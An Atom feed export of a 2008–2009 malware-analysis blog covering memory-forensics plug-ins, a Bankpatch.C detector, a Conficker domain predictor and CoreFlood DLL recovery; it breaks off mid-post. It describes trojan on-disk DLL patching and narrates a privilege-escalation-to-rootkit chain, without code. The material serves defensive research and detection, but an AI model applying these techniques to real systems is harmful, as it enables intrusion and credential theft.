href='http://www.blogger.com/feeds/3630199973361886660/posts/default/2449027527117574205'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/2449027527117574205'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/02/malware-rce-tools-on-google-code.html' title='Malware RCE Tools on Google Code'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-1057813348171387012</id><published>2009-02-23T08:43:00.002-06:00</published><updated>2009-02-23T08:53:49.659-06:00</updated><title type='text'>Malfind in Helix3 2009R1</title><content type='html'>A friend just pointed out that e-fense included several new &lt;a href="https://www.volatilesystems.com/default/volatility"&gt;Volatility&lt;/a&gt; plug-ins (cryptoscan, suspicious, malfind, and moddump) into the &lt;a href="http://www.e-fense.com/news.php"&gt;Helix 2009R1 distribution&lt;/a&gt;. Unfortunately, I don't have a subscription for Helix3 2009R1, so maybe someone can let me know how it works?&lt;br /&gt;&lt;br /&gt;Check out the &lt;a href="http://www.forensicswiki.org/wiki/List_of_Volatility_Plugins"&gt;Forensics Wiki&lt;/a&gt; for a more complete list of Volatility plug-ins and links to the individual ones listed above.&lt;br /&gt;&lt;br /&gt;Also, I incorporated the malfind technique into a new plug-in that I'm currently working on. Its a more fully featured malicious code scanner, so check back shortly.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-1057813348171387012?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/1057813348171387012/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=1057813348171387012' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/1057813348171387012'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/1057813348171387012'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/02/malfind-in-helix3-2009r1.html' title='Malfind in Helix3 2009R1'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-7109901290574471885</id><published>2009-02-09T12:45:00.005-06:00</published><updated>2009-02-09T14:40:44.445-06:00</updated><title type='text'>Bankpatch.C Detection Tool</title><content type='html'>&lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2008-081817-1808-99&amp;amp;tabid=2"&gt;Bankpatch.C&lt;/a&gt; (write-up by Symantec) is a file-infecting trojan that targets powrprof.dll, kernel32.dll, and wininet.dll. This is certainly not new behavior, but its interesting because the "patch" is applied to the libraries on disk rather than in memory. Therefore, the trojan accomplishes the same tasks as a usermode rootkit with trampoline/detours-style hooks, but its much more permanent. Furthermore, most anti-malware scanners that only look for hooked API functions in memory will not recognize the fact that several system DLLs are infected.&lt;br /&gt;&lt;br /&gt;One of the common techniques we've seen in the on-disk patching realm works in the following manner:&lt;br /&gt;&lt;br /&gt;* Add a new section to the target binary (EXE or DLL)&lt;br /&gt;* Save the original program's AddressOfEntryPoint&lt;br /&gt;* Point the new AddressOfEntryPoint to the start of the new section&lt;br /&gt;* Fill the new section with rootkit code&lt;br /&gt;* At the end of the new section, jump to the original AddressOfEntryPoint&lt;br /&gt;&lt;br /&gt;As you can see, this is very similar to basic packing procedure. In the newly added section, it is common for the trojan to simply call LoadLibrary in order to always load a malicious DLL into the process space whenever the target EXE or DLL is loaded.&lt;br /&gt;&lt;br /&gt;Batchpatch.C does not work in the described manner. Instead, it adds a chunk of "position independent code" (otherwise known as shell code) to the end of the last section in the target binaries. This happens to be the .reloc section in powrprof.dll, kernel32.dll, and wininet.dll. Then it fixes up the export address table so that particular exported functions (CreateFileW, InternetConnectA, etc) point to the staged code at the end of the .reloc section instead of the original location.&lt;br /&gt;&lt;br /&gt;What about if functions in the infected DLLs directly reference CreateFileW, InternetConnectA, and the others? The trojan also updates each location in the binary that makes a call to the redirected function so that the trojan gains control of those instances as well. From my personal experience, this is pretty rare to see, but it isn't as particuarly advanced either. It works in a very similar way as the ReBase.exe program in the Visual Studio package by calculating the delta between the original function and the rootkit function; then it updates the address for each call accordingly.&lt;br /&gt;&lt;br /&gt;To avoid access violations at run-time, Bankpatch.C has to update the permissions for the .reloc section, which only allows read access by default. It adds write permission (IMAGE_SCN_MEM_WRITE) and execute permission (IMAGE_SCN_MEM_EXECUTE) as defined in winnt.h. This makes it really easy to detect the trojan on disk and in memory, because the .reloc section would never be writable and/or executable on a legitimate binary.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/SZCSrDNd3zI/AAAAAAAABWo/J3u5Y_eyW5k/s1600-h/bankpatch.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 137px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/SZCSrDNd3zI/AAAAAAAABWo/J3u5Y_eyW5k/s320/bankpatch.png" alt="" id="BLOGGER_PHOTO_ID_5300898029708894002" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Last week I posted a &lt;a href="http://mhl-malware-scripts.googlecode.com/files/find_bankpatch.zip"&gt;command-line detection tool for Bankpatch.C&lt;/a&gt; that works by checking the .reloc section for improper permissions. It comes with source code, so you can alter it to check various other signs of infection based on PE header values. Please also note that &lt;a href="http://www.gmer.net/index.php"&gt;GMER&lt;/a&gt; does the same thing for loaded DLLs in existing process' memory and &lt;a href="http://www.csis.dk/en/news/news.asp?tekstID=774&amp;amp;side=1"&gt;CSIS Security Group&lt;/a&gt; wrote a GUI tool for detection of Bankpatch.C that works using a different method.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-7109901290574471885?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/7109901290574471885/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=7109901290574471885' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/7109901290574471885'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/7109901290574471885'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/02/bankpatchc-detection-tool.html' title='Bankpatch.C Detection Tool'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_jAVGHwajDek/SZCSrDNd3zI/AAAAAAAABWo/J3u5Y_eyW5k/s72-c/bankpatch.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-4590884386987025166</id><published>2009-01-29T11:31:00.010-06:00</published><updated>2009-01-29T11:59:14.782-06:00</updated><title type='text'>Downatool for Downadup.B/Conflicker.B</title><content type='html'>Good afternoon. With the help of Brandon Enright, I just posted a &lt;a href="http://mhl-malware-scripts.googlecode.com/files/downatool.zip"&gt;Downadup.B/Conflicker.B IP generation and domain name predictor tool&lt;/a&gt;. You can use it to predict the list of domain names that the worm will contact on a given date. Downadup.B uses a completely different algorithm for selecting IPs to attack with MS08-067. Fortunately, you can also use this tool to mimic the random IP address generation algorithm to predict which IPs the worm will attempt to attack.&lt;br /&gt;&lt;br /&gt;To predict the list of C&amp;amp;C domains for any given day:&lt;br /&gt;&lt;br /&gt;C:\&gt; downatool.exe -domains 20090127&lt;br /&gt;zjnannre.cc&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;To mimic the random IP address generation algo:&lt;br /&gt;&lt;br /&gt;C:\&gt; &lt;span class="nfakPe"&gt;downatool&lt;/span&gt;.exe -ips 1000&lt;br /&gt;195.115.162.105&lt;br /&gt;63.98.101.24&lt;br /&gt;* 240.73.140.93 (special)&lt;br /&gt;* 192.98.44.111 (rfc 1918)&lt;br /&gt;[...]&lt;br /&gt;&lt;br /&gt;An asterisk implies that the PRNG will generate the IP, but the worm&lt;br /&gt;skips it due to the specified reason.&lt;br /&gt;&lt;br /&gt;You can throw it into statistics mode (recompile with #define&lt;br /&gt;COUNT_MODE) instead of printing the addresses:&lt;br /&gt;&lt;br /&gt;C:\&gt; &lt;span class="nfakPe"&gt;downatool&lt;/span&gt;.exe -ips 50000&lt;br /&gt;Statistics on 50000 generated IPs:&lt;br /&gt;&lt;br /&gt;Num. RFC 1918: 35&lt;br /&gt;Num. multicast/other: 4309&lt;br /&gt;Num. blacklisted: 33&lt;br /&gt;Num. valid: 45623&lt;br /&gt;Num. impossible: 0 (sanity check!)&lt;br /&gt;&lt;br /&gt;The "impossible" count is the number of IPs in the set with a 2nd or 4th octet larger than 127 - a limit set forth by the author's use of Windows rand().&lt;br /&gt;&lt;br /&gt;You can print the list of blacklisted IPs too:&lt;br /&gt;&lt;br /&gt;C:\&gt; &lt;span class="nfakPe"&gt;downatool&lt;/span&gt;.exe -blacklist&lt;br /&gt;[0] 81.12.221.96 - 81.12.221.127 (AVIRA)&lt;br /&gt;[1] 91.199.104.0 - 91.199.104.255 (BitDefender)&lt;br /&gt;[2] 192.88.209.0 - 192.88.209.255 (CERT)&lt;br /&gt;[...]&lt;br /&gt;&lt;a name="Tuesday,_January_27,_2009"&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-4590884386987025166?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/4590884386987025166/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=4590884386987025166' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/4590884386987025166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/4590884386987025166'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/01/downatool-for-downadupbconflickerb.html' title='Downatool for Downadup.B/Conflicker.B'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-7812185157997815930</id><published>2009-01-08T15:57:00.004-06:00</published><updated>2009-01-08T16:32:24.490-06:00</updated><title type='text'>Powersmoker(tm) Turning Local Into Remote</title><content type='html'>Last February, Symark patched a &lt;a href="http://mnin.blogspot.com/2008/02/symark-powerbroker-local-privilege.html"&gt;local privilege escalation vulnerability&lt;/a&gt; in the PowerBroker product. By now, hopefully all of their customers have applied the patch. I wanted to take a minute and re-visit this situation, because it represents a rare class of local vulnerabilities that if exploited can lead to the remote compromise of all other computers in the enterprise. Imagine a vulnerability in the Active Directory client of Microsoft Windows that when exploited could result in the compromise of the AD server. From that point, the attacker can push the exploit out to all other clients that connect to the AD server. This is exactly what is possible with the Powersmoker(tm) toolkit displayed in the video.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.mnin.org/video/powersmoker/powersmoker.html"&gt;http://www.mnin.org/video/powersmoker/powersmoker.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The video is sound-less, so I'll narrate the major steps here:&lt;br /&gt;&lt;br /&gt;1) On the master server (hostname "masterd"), we briefly review the PowerBroker configuration&lt;br /&gt;2) On the client (hostname "fedoravm"), we observe that attempts to run root commands as a non-privleged user result in failure&lt;br /&gt;3) Back on the master server, we observe the listening sockets and active processes and the machine's IP address&lt;br /&gt;4) On the client, we compile the Powersmoker(tm) toolkit which consists of the following items:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;local privilege escalation exploit (pbexploit_32bit_x86)&lt;/li&gt;&lt;li&gt;the server rootkit shared library (server.so)&lt;/li&gt;&lt;li&gt;the powersmoker program (remotely installs server.so on the master)&lt;/li&gt;&lt;li&gt;a command and control client (client) for issuing commands and parsing responses&lt;/li&gt;&lt;/ul&gt;5) On the client, we run the exploit and check our 'id' output showing us we've gained root&lt;br /&gt;6) On the client, we run the powersmoker program to upload and install the server.so rootkit onto the master server&lt;br /&gt;7) Back on the master server, we observe the listening sockets and active processes to see that the rootkit is properly hiding inside the master daemon's process&lt;br /&gt;8) On the client, we issue some commands to the rootkit using the CnC client and learn the root password hash from the master server&lt;br /&gt;&lt;br /&gt;After these few steps, we have root access on the master, which an attacker can use to install a rootkit on all of the other clients in the network. This is just a quick demonstration of how local privilege escalation vulnerabilities can quickly turn into extremely unfortunate circumstances.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-7812185157997815930?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/7812185157997815930/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=7812185157997815930' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/7812185157997815930'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/7812185157997815930'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/01/powersmokertm-turning-local-into-remote.html' title='Powersmoker(tm) Turning Local Into Remote'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-4793565363865727158</id><published>2009-01-07T11:22:00.005-06:00</published><updated>2009-01-07T16:38:49.782-06:00</updated><title type='text'>Malfind Volatility Plug-In</title><content type='html'>&lt;a href="http://mhl-malware-scripts.googlecode.com/files/malfind.py"&gt;Malfind.py&lt;/a&gt; is a Volatility plug-in to find and extract hidden and/or injected code from physical memory dumps. It basically streamlines the multiple steps described in the two previous posts (&lt;a href="http://mnin.blogspot.com/2008/11/recovering-coreflood-binaries-with.html"&gt;Recovering CoreFlood Binaries with Volatility&lt;/a&gt; and &lt;a href="http://mnin.blogspot.com/2008/11/locating-hidden-clampi-dlls-vad-style.html"&gt;Locating Hidden Clampi DLLs VAD-Style&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;Here is a video of using malfind.py against &lt;a href="http://www.securescience.net/FILES/securescience/10378/pubMalwareCaseStudy.pdf"&gt;Zues&lt;/a&gt; and CoreFlood.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.mnin.org/video/malfind/malfind.html"&gt;http://www.mnin.org/video/malfind/malfind.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;To use malfind.py, just place it in your memory_plugins directory. Please keep in mind a few things:&lt;br /&gt;&lt;br /&gt;1) Malfind.py calls vadinfo and vaddump using commands.getoutput(), but we could also call the functions internally. I believe the Volatility team is working on some better API functions for accessing the VAD data from plug-ins.&lt;br /&gt;&lt;br /&gt;2) When malfind.py dumps suspicious memory segments, it names them according to the parent process name, parent process id, and starting virtual address of the memory. Volatility's procdump does not include the parent process name to avoid directory traversal attacks if the process is named "..\..\..\..\..\" etc.&lt;br /&gt;&lt;br /&gt;3) Malfind.py uses &lt;a href="http://dkbza.org/pydasm.html"&gt;pydasm&lt;/a&gt; to dissassemble suspcious code and help you identify if its executable instructions, so you need to download that tool as well.&lt;br /&gt;&lt;br /&gt;P.S. Brendan Dolan-Gavitt has published a new plug-in called &lt;a href="http://moyix.blogspot.com/2008/10/plugin-post-moddump.html"&gt;moddump&lt;/a&gt; that extracts kernel modules similar to how procdump extracts usermode processes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-4793565363865727158?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/4793565363865727158/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=4793565363865727158' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/4793565363865727158'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/4793565363865727158'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2009/01/malfind-volatility-plug-in.html' title='Malfind Volatility Plug-In'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-6979387634270381172</id><published>2008-11-13T13:30:00.005-06:00</published><updated>2008-11-13T13:56:17.801-06:00</updated><title type='text'>North Face Monster</title><content type='html'>Not only is this the first sighting ever of a North Face Monster in Europe, but it shows how they might react to hidden web cams.&lt;br /&gt;&lt;br /&gt;&lt;object width="320" height="266" class="BLOG_video_class" id="BLOG_video-82a62ba233c72e" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="movie" value="http://www.youtube.com/get_player"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="flashvars" value="flvurl=http://v24.nonxt7.googlevideo.com/videoplayback?id%3D0082a62ba233c72e%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330033073%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D82F335D351F61AF5F605E08124189DAE5E00501B.82FA2BD4A3D6F45A64F3D29FF7E8AC2F5E55E89A%26key%3Dck1&amp;amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D82a62ba233c72e%26offsetms%3D5000%26itag%3Dw160%26sigh%3DvEuqIFSia6b4qS_Y8duhR_5gT_k&amp;amp;autoplay=0&amp;amp;ps=blogger"&gt;&lt;embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="320" height="266" bgcolor="#FFFFFF"flashvars="flvurl=http://v24.nonxt7.googlevideo.com/videoplayback?id%3D0082a62ba233c72e%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330033073%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D82F335D351F61AF5F605E08124189DAE5E00501B.82FA2BD4A3D6F45A64F3D29FF7E8AC2F5E55E89A%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D82a62ba233c72e%26offsetms%3D5000%26itag%3Dw160%26sigh%3DvEuqIFSia6b4qS_Y8duhR_5gT_k&amp;autoplay=0&amp;ps=blogger"allowFullScreen="true" /&gt;&lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-6979387634270381172?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='video/mp4' href='http://www.blogger.com/video-play.mp4?contentId=82a62ba233c72e&amp;type=video%2Fmp4' length='0'/><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/6979387634270381172/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=6979387634270381172' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/6979387634270381172'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/6979387634270381172'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2008/11/north-face-monster.html' title='North Face Monster'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-7234655698558951989</id><published>2008-11-10T17:11:00.012-06:00</published><updated>2008-11-11T10:38:06.929-06:00</updated><title type='text'>Recovering CoreFlood Binaries with Volatility</title><content type='html'>The main component of CoreFlood, [1] is a DLL that loads into Internet Explorer. Tools like listdlls.exe, Process Explorer, and several anti-virus products won't show the loaded DLL because it doesn't get registered in Internet Explorer's PEB. CoreFlood also relocates the Import Address Table and strips the MS-DOS and PE headers (by calling VirtualFree with the ImageBase address). This usually prevents memory dumping tools like OllyDump, ProcDump, and LordPE from working properly, since they rely on information in the headers.&lt;br /&gt;&lt;br /&gt;This article describes how to streamline the process of locating, dumping, and fixing DLLs from physical memory dumps using the steps described in &lt;a href="http://mnin.blogspot.com/2008/11/locating-hidden-clampi-dlls-vad-style.html"&gt;Locating Hidden Clampi DLLs (Vad-Style)&lt;/a&gt;. Since Volatility includes API functions to cover most of the work, the plug-in that I wrote basically just calls a few of them in sequence and processes the output accordingly.&lt;br /&gt;&lt;br /&gt;In particular, the plug-in uses vadinfo to locate dynamically allocated memory sections. It uses vaddump to acquire the contents of entries that have the "VadS" tag and executable permissions set. If the plug-in finds a PE header at the base of the memory section, it uses the procdump command to acquire a rebuilt version of the DLL. Otherwise, the plug-in uses pydasm, [2] to help determine if the memory section contains valid x86 instructions.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_jAVGHwajDek/SRkCydI3QGI/AAAAAAAABM8/zK7jBzdWdKg/s1600-h/dumpingcore.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 179px;" src="http://4.bp.blogspot.com/_jAVGHwajDek/SRkCydI3QGI/AAAAAAAABM8/zK7jBzdWdKg/s320/dumpingcore.png" alt="" id="BLOGGER_PHOTO_ID_5267244305025024098" border="0" /&gt;&lt;/a&gt;The image shows an example streamlined process using a physical memory dump of a computer infected with CoreFlood. It finds a suspicious Vad entry in the Internet Explorer process. The entry points to 0x7ff50000, which contains valid executable code but no MS-DOS or PE header.&lt;br /&gt;&lt;br /&gt;The next step would be to integrate pefile, [3] in order to prepend a dummy PE header to the memory dump. It might require a bit of manual analysis to determine the offsets to section boundaries (it is usually apparent when you see two big chunks of dissimilar data padded with NULL bytes). The most important fields for creating a working PE header from the dummy template are the following:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;ImageBase&lt;/li&gt;&lt;li&gt;AddressOfEntryPoint&lt;/li&gt;&lt;li&gt;Sections (number, file offsets, RVAs, sizes)&lt;/li&gt;&lt;li&gt;Import Directory and IAT RVAs&lt;/li&gt;&lt;/ul&gt;Instead of automating the header reconstruction, which might be prone to errors, another option is to build it manually using a tool like CFF Explorer, [4]. This tool makes it easy to add sections to a PE header from a file on disk and handles all the RVA-&gt;offset and size values.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_jAVGHwajDek/SRm0zWG1dQI/AAAAAAAABNk/3GplW4m5tsU/s1600-h/peexp.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 242px;" src="http://2.bp.blogspot.com/_jAVGHwajDek/SRm0zWG1dQI/AAAAAAAABNk/3GplW4m5tsU/s320/peexp.png" alt="" id="BLOGGER_PHOTO_ID_5267440033387083010" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The image below shows a final version of the DLL in IDA Pro. It shows that the disassembler can locate the referenced strings and function calls, which means the sections are rebuilt correctly.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_jAVGHwajDek/SRkGdfyoDLI/AAAAAAAABNE/VeArNWeMjns/s1600-h/unpacked.png"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 320px; height: 122px;" src="http://1.bp.blogspot.com/_jAVGHwajDek/SRkGdfyoDLI/AAAAAAAABNE/VeArNWeMjns/s320/unpacked.png" alt="" id="BLOGGER_PHOTO_ID_5267248343006317746" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In conclusion, it is possible to rebuild binaries found in physical memory dumps even if they don't contain a PE header. By stripping the headers, the attackers only increased the reverse engineering time by a few minutes, but those few minutes resulted in a re-usable plug-in.&lt;br /&gt;&lt;br /&gt;In addition to the stripping the headers, CoreFlood also uses the MEM_TOP_DOWN flag to VirtualAlloc when allocating memory for the DLL's sections. This causes the sections to reside in high usermode addresses - just before kernel space. Essentially, this helps the Trojan blend in with the legitimate system binaries that reside at high usermode addresses. The technique does not hinder the ability to locate the DLL's sections with the method described in this post.&lt;br /&gt;&lt;br /&gt;[1] CoreFlood/AFCore Trojan Analysis&lt;br /&gt;&lt;a href="http://www.secureworks.com/research/threats/coreflood/?threat=coreflood"&gt;http://www.secureworks.com/research/threats/coreflood/?threat=coreflood&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[2] Pydasm - Python interface to libdisasm&lt;br /&gt;&lt;a href="http://dkbza.org/pydasm.html"&gt;http://dkbza.org/pydasm.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[3] Pefile - Python module to read and work with PE files&lt;br /&gt;&lt;a href="http://code.google.com/p/pefile/"&gt;http://code.google.com/p/pefile/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;[4] CFF Explorer - PE editor by Ntcore&lt;br /&gt;&lt;a href="http://www.ntcore.com/exsuite.php"&gt;http://www.ntcore.com/exsuite.php &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3630199973361886660-7234655698558951989?l=mnin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mnin.blogspot.com/feeds/7234655698558951989/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3630199973361886660&amp;postID=7234655698558951989' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/7234655698558951989'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3630199973361886660/posts/default/7234655698558951989'/><link rel='alternate' type='text/html' href='http://mnin.blogspot.com/2008/11/recovering-coreflood-binaries-with.html' title='Recovering CoreFlood Binaries with Volatility'/><author><name>Michael Hale Ligh</name><uri>http://www.blogger.com/profile/17377327006242921434</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_jAVGHwajDek/SRkCydI3QGI/AAAAAAAABM8/zK7jBzdWdKg/s72-c/dumpingcore.png' height='72' width='72'/><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3630199973361886660.post-1791387641756791667</id><published>2008-11-02T02:43:00.013-06:00</published><updated>2008-11-02T20:48:04.752-06:00</updated><title type='text'>Locating Hidden Clampi DLLs (VAD-style)</title><content type='html'>The "Reflective Dll Injection", [1] framework is very similar to ManualMap, [2] written by Darawak in 2005. Both programs include a built-in PE loader that can map a DLL into a remote process without calling LoadLibrary() or LoadLibraryEx(). By avoiding the API calls, it is possible to load the DLL without creating a corresponding &lt;strong style="font-weight: normal;"&gt;InMemoryOrderModuleList entry in the PEB of the host process. Common monitoring tools and anti-virus programs walk the &lt;/strong&gt;&lt;strong style="font-weight: normal;"&gt;InMemoryOrderModuleList&lt;/strong&gt;&lt;strong style="font-weight: normal;"&gt; entries to enumerate the loaded DLLs. &lt;/strong&gt;Aside from preventing the initial entry, Darawak also showed how to hide DLLs by unlinking existing entries (see CloakDll, [3]).&lt;br 